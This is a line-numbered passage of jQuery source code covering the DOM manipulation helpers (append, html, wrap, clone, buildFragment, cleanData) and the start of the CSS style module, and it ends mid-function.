  5875. safeFragment = createSafeFragment( document ),
  5876. fragmentDiv = safeFragment.appendChild( document.createElement("div") );
  5877.  
  5878. wrapMap.optgroup = wrapMap.option;
  5879. wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
  5880. wrapMap.th = wrapMap.td;
  5881.  
  5882. jQuery.fn.extend({
  5883. text: function( value ) {
  5884. return jQuery.access( this, function( value ) {
  5885. return value === undefined ?
  5886. jQuery.text( this ) :
  5887. this.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) );
  5888. }, null, value, arguments.length );
  5889. },
  5890.  
  5891. wrapAll: function( html ) {
  5892. if ( jQuery.isFunction( html ) ) {
  5893. return this.each(function(i) {
  5894. jQuery(this).wrapAll( html.call(this, i) );
  5895. });
  5896. }
  5897.  
  5898. if ( this[0] ) {
  5899. // The elements to wrap the target around
  5900. var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);
  5901.  
  5902. if ( this[0].parentNode ) {
  5903. wrap.insertBefore( this[0] );
  5904. }
  5905.  
  5906. wrap.map(function() {
  5907. var elem = this;
  5908.  
  5909. while ( elem.firstChild && elem.firstChild.nodeType === 1 ) {
  5910. elem = elem.firstChild;
  5911. }
  5912.  
  5913. return elem;
  5914. }).append( this );
  5915. }
  5916.  
  5917. return this;
  5918. },
  5919.  
  5920. wrapInner: function( html ) {
  5921. if ( jQuery.isFunction( html ) ) {
  5922. return this.each(function(i) {
  5923. jQuery(this).wrapInner( html.call(this, i) );
  5924. });
  5925. }
  5926.  
  5927. return this.each(function() {
  5928. var self = jQuery( this ),
  5929. contents = self.contents();
  5930.  
  5931. if ( contents.length ) {
  5932. contents.wrapAll( html );
  5933.  
  5934. } else {
  5935. self.append( html );
  5936. }
  5937. });
  5938. },
  5939.  
  5940. wrap: function( html ) {
  5941. var isFunction = jQuery.isFunction( html );
  5942.  
  5943. return this.each(function(i) {
  5944. jQuery( this ).wrapAll( isFunction ? html.call(this, i) : html );
  5945. });
  5946. },
  5947.  
  5948. unwrap: function() {
  5949. return this.parent().each(function() {
  5950. if ( !jQuery.nodeName( this, "body" ) ) {
  5951. jQuery( this ).replaceWith( this.childNodes );
  5952. }
  5953. }).end();
  5954. },
  5955.  
  5956. append: function() {
  5957. return this.domManip(arguments, true, function( elem ) {
  5958. if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
  5959. this.appendChild( elem );
  5960. }
  5961. });
  5962. },
  5963.  
  5964. prepend: function() {
  5965. return this.domManip(arguments, true, function( elem ) {
  5966. if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
  5967. this.insertBefore( elem, this.firstChild );
  5968. }
  5969. });
  5970. },
  5971.  
  5972. before: function() {
  5973. return this.domManip( arguments, false, function( elem ) {
  5974. if ( this.parentNode ) {
  5975. this.parentNode.insertBefore( elem, this );
  5976. }
  5977. });
  5978. },
  5979.  
  5980. after: function() {
  5981. return this.domManip( arguments, false, function( elem ) {
  5982. if ( this.parentNode ) {
  5983. this.parentNode.insertBefore( elem, this.nextSibling );
  5984. }
  5985. });
  5986. },
  5987.  
  5988. // keepData is for internal use only--do not document
  5989. remove: function( selector, keepData ) {
  5990. var elem,
  5991. i = 0;
  5992.  
  5993. for ( ; (elem = this[i]) != null; i++ ) {
  5994. if ( !selector || jQuery.filter( selector, [ elem ] ).length > 0 ) {
  5995. if ( !keepData && elem.nodeType === 1 ) {
  5996. jQuery.cleanData( getAll( elem ) );
  5997. }
  5998.  
  5999. if ( elem.parentNode ) {
  6000. if ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) {
  6001. setGlobalEval( getAll( elem, "script" ) );
  6002. }
  6003. elem.parentNode.removeChild( elem );
  6004. }
  6005. }
  6006. }
  6007.  
  6008. return this;
  6009. },
  6010.  
  6011. empty: function() {
  6012. var elem,
  6013. i = 0;
  6014.  
  6015. for ( ; (elem = this[i]) != null; i++ ) {
  6016. // Remove element nodes and prevent memory leaks
  6017. if ( elem.nodeType === 1 ) {
  6018. jQuery.cleanData( getAll( elem, false ) );
  6019. }
  6020.  
  6021. // Remove any remaining nodes
  6022. while ( elem.firstChild ) {
  6023. elem.removeChild( elem.firstChild );
  6024. }
  6025.  
  6026. // If this is a select, ensure that it displays empty (#12336)
  6027. // Support: IE<9
  6028. if ( elem.options && jQuery.nodeName( elem, "select" ) ) {
  6029. elem.options.length = 0;
  6030. }
  6031. }
  6032.  
  6033. return this;
  6034. },
  6035.  
  6036. clone: function( dataAndEvents, deepDataAndEvents ) {
  6037. dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
  6038. deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
  6039.  
  6040. return this.map( function () {
  6041. return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
  6042. });
  6043. },
  6044.  
  6045. html: function( value ) {
  6046. return jQuery.access( this, function( value ) {
  6047. var elem = this[0] || {},
  6048. i = 0,
  6049. l = this.length;
  6050.  
  6051. if ( value === undefined ) {
  6052. return elem.nodeType === 1 ?
  6053. elem.innerHTML.replace( rinlinejQuery, "" ) :
  6054. undefined;
  6055. }
  6056.  
  6057. // See if we can take a shortcut and just use innerHTML
  6058. if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
  6059. ( jQuery.support.htmlSerialize || !rnoshimcache.test( value ) ) &&
  6060. ( jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value ) ) &&
  6061. !wrapMap[ ( rtagName.exec( value ) || ["", ""] )[1].toLowerCase() ] ) {
  6062.  
  6063. value = value.replace( rxhtmlTag, "<$1></$2>" );
  6064.  
  6065. try {
  6066. for (; i < l; i++ ) {
  6067. // Remove element nodes and prevent memory leaks
  6068. elem = this[i] || {};
  6069. if ( elem.nodeType === 1 ) {
  6070. jQuery.cleanData( getAll( elem, false ) );
  6071. elem.innerHTML = value;
  6072. }
  6073. }
  6074.  
  6075. elem = 0;
  6076.  
  6077. // If using innerHTML throws an exception, use the fallback method
  6078. } catch(e) {}
  6079. }
  6080.  
  6081. if ( elem ) {
  6082. this.empty().append( value );
  6083. }
  6084. }, null, value, arguments.length );
  6085. },
  6086.  
  6087. replaceWith: function( value ) {
  6088. var isFunc = jQuery.isFunction( value );
  6089.  
  6090. // Make sure that the elements are removed from the DOM before they are inserted
  6091. // this can help fix replacing a parent with child elements
  6092. if ( !isFunc && typeof value !== "string" ) {
  6093. value = jQuery( value ).not( this ).detach();
  6094. }
  6095.  
  6096. return this.domManip( [ value ], true, function( elem ) {
  6097. var next = this.nextSibling,
  6098. parent = this.parentNode;
  6099.  
  6100. if ( parent ) {
  6101. jQuery( this ).remove();
  6102. parent.insertBefore( elem, next );
  6103. }
  6104. });
  6105. },
  6106.  
  6107. detach: function( selector ) {
  6108. return this.remove( selector, true );
  6109. },
  6110.  
  6111. domManip: function( args, table, callback ) {
  6112.  
  6113. // Flatten any nested arrays
  6114. args = core_concat.apply( [], args );
  6115.  
  6116. var first, node, hasScripts,
  6117. scripts, doc, fragment,
  6118. i = 0,
  6119. l = this.length,
  6120. set = this,
  6121. iNoClone = l - 1,
  6122. value = args[0],
  6123. isFunction = jQuery.isFunction( value );
  6124.  
  6125. // We can't cloneNode fragments that contain checked, in WebKit
  6126. if ( isFunction || !( l <= 1 || typeof value !== "string" || jQuery.support.checkClone || !rchecked.test( value ) ) ) {
  6127. return this.each(function( index ) {
  6128. var self = set.eq( index );
  6129. if ( isFunction ) {
  6130. args[0] = value.call( this, index, table ? self.html() : undefined );
  6131. }
  6132. self.domManip( args, table, callback );
  6133. });
  6134. }
  6135.  
  6136. if ( l ) {
  6137. fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, this );
  6138. first = fragment.firstChild;
  6139.  
  6140. if ( fragment.childNodes.length === 1 ) {
  6141. fragment = first;
  6142. }
  6143.  
  6144. if ( first ) {
  6145. table = table && jQuery.nodeName( first, "tr" );
  6146. scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
  6147. hasScripts = scripts.length;
  6148.  
  6149. // Use the original fragment for the last item instead of the first because it can end up
  6150. // being emptied incorrectly in certain situations (#8070).
  6151. for ( ; i < l; i++ ) {
  6152. node = fragment;
  6153.  
  6154. if ( i !== iNoClone ) {
  6155. node = jQuery.clone( node, true, true );
  6156.  
  6157. // Keep references to cloned scripts for later restoration
  6158. if ( hasScripts ) {
  6159. jQuery.merge( scripts, getAll( node, "script" ) );
  6160. }
  6161. }
  6162.  
  6163. callback.call(
  6164. table && jQuery.nodeName( this[i], "table" ) ?
  6165. findOrAppend( this[i], "tbody" ) :
  6166. this[i],
  6167. node,
  6168. i
  6169. );
  6170. }
  6171.  
  6172. if ( hasScripts ) {
  6173. doc = scripts[ scripts.length - 1 ].ownerDocument;
  6174.  
  6175. // Reenable scripts
  6176. jQuery.map( scripts, restoreScript );
  6177.  
  6178. // Evaluate executable scripts on first document insertion
  6179. for ( i = 0; i < hasScripts; i++ ) {
  6180. node = scripts[ i ];
  6181. if ( rscriptType.test( node.type || "" ) &&
  6182. !jQuery._data( node, "globalEval" ) && jQuery.contains( doc, node ) ) {
  6183.  
  6184. if ( node.src ) {
  6185. // Hope ajax is available...
  6186. jQuery.ajax({
  6187. url: node.src,
  6188. type: "GET",
  6189. dataType: "script",
  6190. async: false,
  6191. global: false,
  6192. "throws": true
  6193. });
  6194. } else {
  6195. jQuery.globalEval( ( node.text || node.textContent || node.innerHTML || "" ).replace( rcleanScript, "" ) );
  6196. }
  6197. }
  6198. }
  6199. }
  6200.  
  6201. // Fix #11809: Avoid leaking memory
  6202. fragment = first = null;
  6203. }
  6204. }
  6205.  
  6206. return this;
  6207. }
  6208. });
  6209.  
  6210. function findOrAppend( elem, tag ) {
  6211. return elem.getElementsByTagName( tag )[0] || elem.appendChild( elem.ownerDocument.createElement( tag ) );
  6212. }
  6213.  
  6214. // Replace/restore the type attribute of script elements for safe DOM manipulation
  6215. function disableScript( elem ) {
  6216. var attr = elem.getAttributeNode("type");
  6217. elem.type = ( attr && attr.specified ) + "/" + elem.type;
  6218. return elem;
  6219. }
  6220. function restoreScript( elem ) {
  6221. var match = rscriptTypeMasked.exec( elem.type );
  6222. if ( match ) {
  6223. elem.type = match[1];
  6224. } else {
  6225. elem.removeAttribute("type");
  6226. }
  6227. return elem;
  6228. }
  6229.  
  6230. // Mark scripts as having already been evaluated
  6231. function setGlobalEval( elems, refElements ) {
  6232. var elem,
  6233. i = 0;
  6234. for ( ; (elem = elems[i]) != null; i++ ) {
  6235. jQuery._data( elem, "globalEval", !refElements || jQuery._data( refElements[i], "globalEval" ) );
  6236. }
  6237. }
  6238.  
  6239. function cloneCopyEvent( src, dest ) {
  6240.  
  6241. if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {
  6242. return;
  6243. }
  6244.  
  6245. var type, i, l,
  6246. oldData = jQuery._data( src ),
  6247. curData = jQuery._data( dest, oldData ),
  6248. events = oldData.events;
  6249.  
  6250. if ( events ) {
  6251. delete curData.handle;
  6252. curData.events = {};
  6253.  
  6254. for ( type in events ) {
  6255. for ( i = 0, l = events[ type ].length; i < l; i++ ) {
  6256. jQuery.event.add( dest, type, events[ type ][ i ] );
  6257. }
  6258. }
  6259. }
  6260.  
  6261. // make the cloned public data object a copy from the original
  6262. if ( curData.data ) {
  6263. curData.data = jQuery.extend( {}, curData.data );
  6264. }
  6265. }
  6266.  
  6267. function fixCloneNodeIssues( src, dest ) {
  6268. var nodeName, e, data;
  6269.  
  6270. // We do not need to do anything for non-Elements
  6271. if ( dest.nodeType !== 1 ) {
  6272. return;
  6273. }
  6274.  
  6275. nodeName = dest.nodeName.toLowerCase();
  6276.  
  6277. // IE6-8 copies events bound via attachEvent when using cloneNode.
  6278. if ( !jQuery.support.noCloneEvent && dest[ jQuery.expando ] ) {
  6279. data = jQuery._data( dest );
  6280.  
  6281. for ( e in data.events ) {
  6282. jQuery.removeEvent( dest, e, data.handle );
  6283. }
  6284.  
  6285. // Event data gets referenced instead of copied if the expando gets copied too
  6286. dest.removeAttribute( jQuery.expando );
  6287. }
  6288.  
  6289. // IE blanks contents when cloning scripts, and tries to evaluate newly-set text
  6290. if ( nodeName === "script" && dest.text !== src.text ) {
  6291. disableScript( dest ).text = src.text;
  6292. restoreScript( dest );
  6293.  
  6294. // IE6-10 improperly clones children of object elements using classid.
  6295. // IE10 throws NoModificationAllowedError if parent is null, #12132.
  6296. } else if ( nodeName === "object" ) {
  6297. if ( dest.parentNode ) {
  6298. dest.outerHTML = src.outerHTML;
  6299. }
  6300.  
  6301. // This path appears unavoidable for IE9. When cloning an object
  6302. // element in IE9, the outerHTML strategy above is not sufficient.
  6303. // If the src has innerHTML and the destination does not,
  6304. // copy the src.innerHTML into the dest.innerHTML. #10324
  6305. if ( jQuery.support.html5Clone && ( src.innerHTML && !jQuery.trim(dest.innerHTML) ) ) {
  6306. dest.innerHTML = src.innerHTML;
  6307. }
  6308.  
  6309. } else if ( nodeName === "input" && manipulation_rcheckableType.test( src.type ) ) {
  6310. // IE6-8 fails to persist the checked state of a cloned checkbox
  6311. // or radio button. Worse, IE6-7 fail to give the cloned element
  6312. // a checked appearance if the defaultChecked value isn't also set
  6313.  
  6314. dest.defaultChecked = dest.checked = src.checked;
  6315.  
  6316. // IE6-7 get confused and end up setting the value of a cloned
  6317. // checkbox/radio button to an empty string instead of "on"
  6318. if ( dest.value !== src.value ) {
  6319. dest.value = src.value;
  6320. }
  6321.  
  6322. // IE6-8 fails to return the selected option to the default selected
  6323. // state when cloning options
  6324. } else if ( nodeName === "option" ) {
  6325. dest.defaultSelected = dest.selected = src.defaultSelected;
  6326.  
  6327. // IE6-8 fails to set the defaultValue to the correct value when
  6328. // cloning other types of input fields
  6329. } else if ( nodeName === "input" || nodeName === "textarea" ) {
  6330. dest.defaultValue = src.defaultValue;
  6331. }
  6332. }
  6333.  
  6334. jQuery.each({
  6335. appendTo: "append",
  6336. prependTo: "prepend",
  6337. insertBefore: "before",
  6338. insertAfter: "after",
  6339. replaceAll: "replaceWith"
  6340. }, function( name, original ) {
  6341. jQuery.fn[ name ] = function( selector ) {
  6342. var elems,
  6343. i = 0,
  6344. ret = [],
  6345. insert = jQuery( selector ),
  6346. last = insert.length - 1;
  6347.  
  6348. for ( ; i <= last; i++ ) {
  6349. elems = i === last ? this : this.clone(true);
  6350. jQuery( insert[i] )[ original ]( elems );
  6351.  
  6352. // Modern browsers can apply jQuery collections as arrays, but oldIE needs a .get()
  6353. core_push.apply( ret, elems.get() );
  6354. }
  6355.  
  6356. return this.pushStack( ret );
  6357. };
  6358. });
  6359.  
  6360. function getAll( context, tag ) {
  6361. var elems, elem,
  6362. i = 0,
  6363. found = typeof context.getElementsByTagName !== core_strundefined ? context.getElementsByTagName( tag || "*" ) :
  6364. typeof context.querySelectorAll !== core_strundefined ? context.querySelectorAll( tag || "*" ) :
  6365. undefined;
  6366.  
  6367. if ( !found ) {
  6368. for ( found = [], elems = context.childNodes || context; (elem = elems[i]) != null; i++ ) {
  6369. if ( !tag || jQuery.nodeName( elem, tag ) ) {
  6370. found.push( elem );
  6371. } else {
  6372. jQuery.merge( found, getAll( elem, tag ) );
  6373. }
  6374. }
  6375. }
  6376.  
  6377. return tag === undefined || tag && jQuery.nodeName( context, tag ) ?
  6378. jQuery.merge( [ context ], found ) :
  6379. found;
  6380. }
  6381.  
  6382. // Used in buildFragment, fixes the defaultChecked property
  6383. function fixDefaultChecked( elem ) {
  6384. if ( manipulation_rcheckableType.test( elem.type ) ) {
  6385. elem.defaultChecked = elem.checked;
  6386. }
  6387. }
  6388.  
  6389. jQuery.extend({
  6390. clone: function( elem, dataAndEvents, deepDataAndEvents ) {
  6391. var destElements, node, clone, i, srcElements,
  6392. inPage = jQuery.contains( elem.ownerDocument, elem );
  6393.  
  6394. if ( jQuery.support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test( "<" + elem.nodeName + ">" ) ) {
  6395. clone = elem.cloneNode( true );
  6396.  
  6397. // IE<=8 does not properly clone detached, unknown element nodes
  6398. } else {
  6399. fragmentDiv.innerHTML = elem.outerHTML;
  6400. fragmentDiv.removeChild( clone = fragmentDiv.firstChild );
  6401. }
  6402.  
  6403. if ( (!jQuery.support.noCloneEvent || !jQuery.support.noCloneChecked) &&
  6404. (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) {
  6405.  
  6406. // We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2
  6407. destElements = getAll( clone );
  6408. srcElements = getAll( elem );
  6409.  
  6410. // Fix all IE cloning issues
  6411. for ( i = 0; (node = srcElements[i]) != null; ++i ) {
  6412. // Ensure that the destination node is not null; Fixes #9587
  6413. if ( destElements[i] ) {
  6414. fixCloneNodeIssues( node, destElements[i] );
  6415. }
  6416. }
  6417. }
  6418.  
  6419. // Copy the events from the original to the clone
  6420. if ( dataAndEvents ) {
  6421. if ( deepDataAndEvents ) {
  6422. srcElements = srcElements || getAll( elem );
  6423. destElements = destElements || getAll( clone );
  6424.  
  6425. for ( i = 0; (node = srcElements[i]) != null; i++ ) {
  6426. cloneCopyEvent( node, destElements[i] );
  6427. }
  6428. } else {
  6429. cloneCopyEvent( elem, clone );
  6430. }
  6431. }
  6432.  
  6433. // Preserve script evaluation history
  6434. destElements = getAll( clone, "script" );
  6435. if ( destElements.length > 0 ) {
  6436. setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
  6437. }
  6438.  
  6439. destElements = srcElements = node = null;
  6440.  
  6441. // Return the cloned set
  6442. return clone;
  6443. },
  6444.  
  6445. buildFragment: function( elems, context, scripts, selection ) {
  6446. var j, elem, contains,
  6447. tmp, tag, tbody, wrap,
  6448. l = elems.length,
  6449.  
  6450. // Ensure a safe fragment
  6451. safe = createSafeFragment( context ),
  6452.  
  6453. nodes = [],
  6454. i = 0;
  6455.  
  6456. for ( ; i < l; i++ ) {
  6457. elem = elems[ i ];
  6458.  
  6459. if ( elem || elem === 0 ) {
  6460.  
  6461. // Add nodes directly
  6462. if ( jQuery.type( elem ) === "object" ) {
  6463. jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
  6464.  
  6465. // Convert non-html into a text node
  6466. } else if ( !rhtml.test( elem ) ) {
  6467. nodes.push( context.createTextNode( elem ) );
  6468.  
  6469. // Convert html into DOM nodes
  6470. } else {
  6471. tmp = tmp || safe.appendChild( context.createElement("div") );
  6472.  
  6473. // Deserialize a standard representation
  6474. tag = ( rtagName.exec( elem ) || ["", ""] )[1].toLowerCase();
  6475. wrap = wrapMap[ tag ] || wrapMap._default;
  6476.  
  6477. tmp.innerHTML = wrap[1] + elem.replace( rxhtmlTag, "<$1></$2>" ) + wrap[2];
  6478.  
  6479. // Descend through wrappers to the right content
  6480. j = wrap[0];
  6481. while ( j-- ) {
  6482. tmp = tmp.lastChild;
  6483. }
  6484.  
  6485. // Manually add leading whitespace removed by IE
  6486. if ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {
  6487. nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[0] ) );
  6488. }
  6489.  
  6490. // Remove IE's autoinserted <tbody> from table fragments
  6491. if ( !jQuery.support.tbody ) {
  6492.  
  6493. // String was a <table>, *may* have spurious <tbody>
  6494. elem = tag === "table" && !rtbody.test( elem ) ?
  6495. tmp.firstChild :
  6496.  
  6497. // String was a bare <thead> or <tfoot>
  6498. wrap[1] === "<table>" && !rtbody.test( elem ) ?
  6499. tmp :
  6500. 0;
  6501.  
  6502. j = elem && elem.childNodes.length;
  6503. while ( j-- ) {
  6504. if ( jQuery.nodeName( (tbody = elem.childNodes[j]), "tbody" ) && !tbody.childNodes.length ) {
  6505. elem.removeChild( tbody );
  6506. }
  6507. }
  6508. }
  6509.  
  6510. jQuery.merge( nodes, tmp.childNodes );
  6511.  
  6512. // Fix #12392 for WebKit and IE > 9
  6513. tmp.textContent = "";
  6514.  
  6515. // Fix #12392 for oldIE
  6516. while ( tmp.firstChild ) {
  6517. tmp.removeChild( tmp.firstChild );
  6518. }
  6519.  
  6520. // Remember the top-level container for proper cleanup
  6521. tmp = safe.lastChild;
  6522. }
  6523. }
  6524. }
  6525.  
  6526. // Fix #11356: Clear elements from fragment
  6527. if ( tmp ) {
  6528. safe.removeChild( tmp );
  6529. }
  6530.  
  6531. // Reset defaultChecked for any radios and checkboxes
  6532. // about to be appended to the DOM in IE 6/7 (#8060)
  6533. if ( !jQuery.support.appendChecked ) {
  6534. jQuery.grep( getAll( nodes, "input" ), fixDefaultChecked );
  6535. }
  6536.  
  6537. i = 0;
  6538. while ( (elem = nodes[ i++ ]) ) {
  6539.  
  6540. // #4087 - If origin and destination elements are the same, and this is
  6541. // that element, do not do anything
  6542. if ( selection && jQuery.inArray( elem, selection ) !== -1 ) {
  6543. continue;
  6544. }
  6545.  
  6546. contains = jQuery.contains( elem.ownerDocument, elem );
  6547.  
  6548. // Append to fragment
  6549. tmp = getAll( safe.appendChild( elem ), "script" );
  6550.  
  6551. // Preserve script evaluation history
  6552. if ( contains ) {
  6553. setGlobalEval( tmp );
  6554. }
  6555.  
  6556. // Capture executables
  6557. if ( scripts ) {
  6558. j = 0;
  6559. while ( (elem = tmp[ j++ ]) ) {
  6560. if ( rscriptType.test( elem.type || "" ) ) {
  6561. scripts.push( elem );
  6562. }
  6563. }
  6564. }
  6565. }
  6566.  
  6567. tmp = null;
  6568.  
  6569. return safe;
  6570. },
  6571.  
  6572. cleanData: function( elems, /* internal */ acceptData ) {
  6573. var elem, type, id, data,
  6574. i = 0,
  6575. internalKey = jQuery.expando,
  6576. cache = jQuery.cache,
  6577. deleteExpando = jQuery.support.deleteExpando,
  6578. special = jQuery.event.special;
  6579.  
  6580. for ( ; (elem = elems[i]) != null; i++ ) {
  6581.  
  6582. if ( acceptData || jQuery.acceptData( elem ) ) {
  6583.  
  6584. id = elem[ internalKey ];
  6585. data = id && cache[ id ];
  6586.  
  6587. if ( data ) {
  6588. if ( data.events ) {
  6589. for ( type in data.events ) {
  6590. if ( special[ type ] ) {
  6591. jQuery.event.remove( elem, type );
  6592.  
  6593. // This is a shortcut to avoid jQuery.event.remove's overhead
  6594. } else {
  6595. jQuery.removeEvent( elem, type, data.handle );
  6596. }
  6597. }
  6598. }
  6599.  
  6600. // Remove cache only if it was not already removed by jQuery.event.remove
  6601. if ( cache[ id ] ) {
  6602.  
  6603. delete cache[ id ];
  6604.  
  6605. // IE does not allow us to delete expando properties from nodes,
  6606. // nor does it have a removeAttribute function on Document nodes;
  6607. // we must handle all of these cases
  6608. if ( deleteExpando ) {
  6609. delete elem[ internalKey ];
  6610.  
  6611. } else if ( typeof elem.removeAttribute !== core_strundefined ) {
  6612. elem.removeAttribute( internalKey );
  6613.  
  6614. } else {
  6615. elem[ internalKey ] = null;
  6616. }
  6617.  
  6618. core_deletedIds.push( id );
  6619. }
  6620. }
  6621. }
  6622. }
  6623. }
  6624. });
  6625. var iframe, getStyles, curCSS,
  6626. ralpha = /alpha\([^)]*\)/i,
  6627. ropacity = /opacity\s*=\s*([^)]*)/,
  6628. rposition = /^(top|right|bottom|left)$/,
  6629. // swappable if display is none or starts with table except "table", "table-cell", or "table-caption"
  6630. // see here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
  6631. rdisplayswap = /^(none|table(?!-c[ea]).+)/,
  6632. rmargin = /^margin/,
  6633. rnumsplit = new RegExp( "^(" + core_pnum + ")(.*)$", "i" ),
  6634. rnumnonpx = new RegExp( "^(" + core_pnum + ")(?!px)[a-z%]+$", "i" ),
  6635. rrelNum = new RegExp( "^([+-])=(" + core_pnum + ")", "i" ),
  6636. elemdisplay = { BODY: "block" },
  6637.  
  6638. cssShow = { position: "absolute", visibility: "hidden", display: "block" },
  6639. cssNormalTransform = {
  6640. letterSpacing: 0,
  6641. fontWeight: 400
  6642. },
  6643.  
  6644. cssExpand = [ "Top", "Right", "Bottom", "Left" ],
  6645. cssPrefixes = [ "Webkit", "O", "Moz", "ms" ];
  6646.  
  6647. // return a css property mapped to a potentially vendor prefixed property
  6648. function vendorPropName( style, name ) {
  6649.  
  6650. // shortcut for names that are not vendor prefixed
  6651. if ( name in style ) {
  6652. return name;
  6653. }
  6654.  
  6655. // check for vendor prefixed names
  6656. var capName = name.charAt(0).toUpperCase() + name.slice(1),
  6657. origName = name,
  6658. i = cssPrefixes.length;
  6659.  
  6660. while ( i-- ) {
  6661. name = cssPrefixes[ i ] + capName;
  6662. if ( name in style ) {
  6663. return name;
  6664. }
  6665. }
  6666.  
  6667. return origName;
  6668. }
  6669.  
  6670. function isHidden( elem, el ) {
  6671. // isHidden might be called from jQuery#filter function;
  6672. // in that case, element will be second argument
  6673. elem = el || elem;
  6674. return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem );
  6675. }
  6676.  
  6677. function showHide( elements, show ) {
  6678. var display, elem, hidden,
  6679. values = [],
  6680. index = 0,
  6681. length = elements.length;
  6682.  
  6683. for ( ; index < length; index++ ) {
  6684. elem = elements[ index ];
  6685. if ( !elem.style ) {
  6686. continue;
  6687. }
  6688.  
  6689. values[ index ] = jQuery._data( elem, "olddisplay" );
  6690. display = elem.style.display;
  6691. if ( show ) {
  6692. // Reset the inline display of this element to learn if it is
  6693. // being hidden by cascaded rules or not
  6694. if ( !values[ index ] && display === "none" ) {
  6695. elem.style.display = "";
  6696. }
  6697.  
  6698. // Set elements which have been overridden with display: none
  6699. // in a stylesheet to whatever the default browser style is
  6700. // for such an element
  6701. if ( elem.style.display === "" && isHidden( elem ) ) {
  6702. values[ index ] = jQuery._data( elem, "olddisplay", css_defaultDisplay(elem.nodeName) );
  6703. }
  6704. } else {
  6705.  
  6706. if ( !values[ index ] ) {
  6707. hidden = isHidden( elem );
  6708.  
  6709. if ( display && display !== "none" || !hidden ) {
  6710. jQuery._data( elem, "olddisplay", hidden ? display : jQuery.css( elem, "display" ) );
  6711. }
  6712. }
  6713. }
  6714. }
  6715.  
  6716. // Set the display of most of the elements in a second loop
  6717. // to avoid the constant reflow
  6718. for ( index = 0; index < length; index++ ) {
  6719. elem = elements[ index ];
  6720. if ( !elem.style ) {
  6721. continue;
  6722. }
  6723. if ( !show || elem.style.display === "none" || elem.style.display === "" ) {
  6724. elem.style.display = show ? values[ index ] || "" : "none";
  6725. }
  6726. }
  6727.  
  6728. return elements;
  6729. }
  6730.  
  6731. jQuery.fn.extend({
  6732. css: function( name, value ) {
  6733. return jQuery.access( this, function( elem, name, value ) {
  6734. var len, styles,
  6735. map = {},
  6736. i = 0;
  6737.  
  6738. if ( jQuery.isArray( name ) ) {
  6739. styles = getStyles( elem );
  6740. len = name.length;
  6741.  
  6742. for ( ; i < len; i++ ) {
  6743. map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
  6744. }
  6745.  
  6746. return map;
  6747. }
  6748.  
  6749. return value !== undefined ?
  6750. jQuery.style( elem, name, value ) :
  6751. jQuery.css( elem, name );
  6752. }, name, value, arguments.length > 1 );
  6753. },
  6754. show: function() {
  6755. return showHide( this, true );
  6756. },
  6757. hide: function() {
  6758. return showHide( this );
  6759. },
  6760. toggle: function( state ) {
  6761. var bool = typeof state === "boolean";
  6762.  
  6763. return this.each(function() {
  6764. if ( bool ? state : isHidden( this ) ) {
  6765. jQuery( this ).show();
  6766. } else {
  6767. jQuery( this ).hide();
  6768. }
  6769. });
  6770. }
  6771. });
  6772.  
  6773. jQuery.extend({
  6774. // Add in style property hooks for overriding the default
  6775. // behavior of getting and setting a style property
  6776. cssHooks: {
  6777. opacity: {
  6778. get: function( elem, computed ) {
  6779. if ( computed ) {
  6780. // We should always get a number back from opacity
  6781. var ret = curCSS( elem, "opacity" );
  6782. return ret === "" ? "1" : ret;
  6783. }
  6784. }
  6785. }
  6786. },
  6787.  
  6788. // Exclude the following css properties to add px
  6789. cssNumber: {
  6790. "columnCount": true,
  6791. "fillOpacity": true,
  6792. "fontWeight": true,
  6793. "lineHeight": true,
  6794. "opacity": true,
  6795. "orphans": true,
  6796. "widows": true,
  6797. "zIndex": true,
  6798. "zoom": true
  6799. },
  6800.  
  6801. // Add in properties whose names you wish to fix before
  6802. // setting or getting the value
  6803. cssProps: {
  6804. // normalize float css property
  6805. "float": jQuery.support.cssFloat ? "cssFloat" : "styleFloat"
  6806. },
  6807.  
  6808. // Get and set the style property on a DOM Node
  6809. style: function( elem, name, value, extra ) {
  6810. // Don't set styles on text and comment nodes
  6811. if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
  6812. return;
  6813. }
  6814.  
  6815. // Make sure that we're working with the right name
  6816. var ret, type, hooks,
  6817. origName = jQuery.camelCase( name ),
  6818. style = elem.style;
  6819.  
  6820. name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) );
  6821.  
  6822. // gets hook for the prefixed version
  6823. // followed by the unprefixed version
  6824. hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
  6825.  
  6826. // Check if we're setting a value
  6827. if ( value !== undefined ) {
  6828. type = typeof value;
  6829.  
  6830. // convert relative number strings (+= or -=) to relative numbers. #7345
  6831. if ( type === "string" && (ret = rrelNum.exec( value )) ) {
  6832. value = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) );
  6833. // Fixes bug #9237
  6834. type = "number";
  6835. }
  6836.  
  6837. // Make sure that NaN and null values aren't set. See: #7116
  6838. if ( value == null || type === "number" && isNaN( value ) ) {
  6839. return;
  6840. }
  6841.  
  6842. // If a number was passed in, add 'px' to the (except for certain CSS properties)
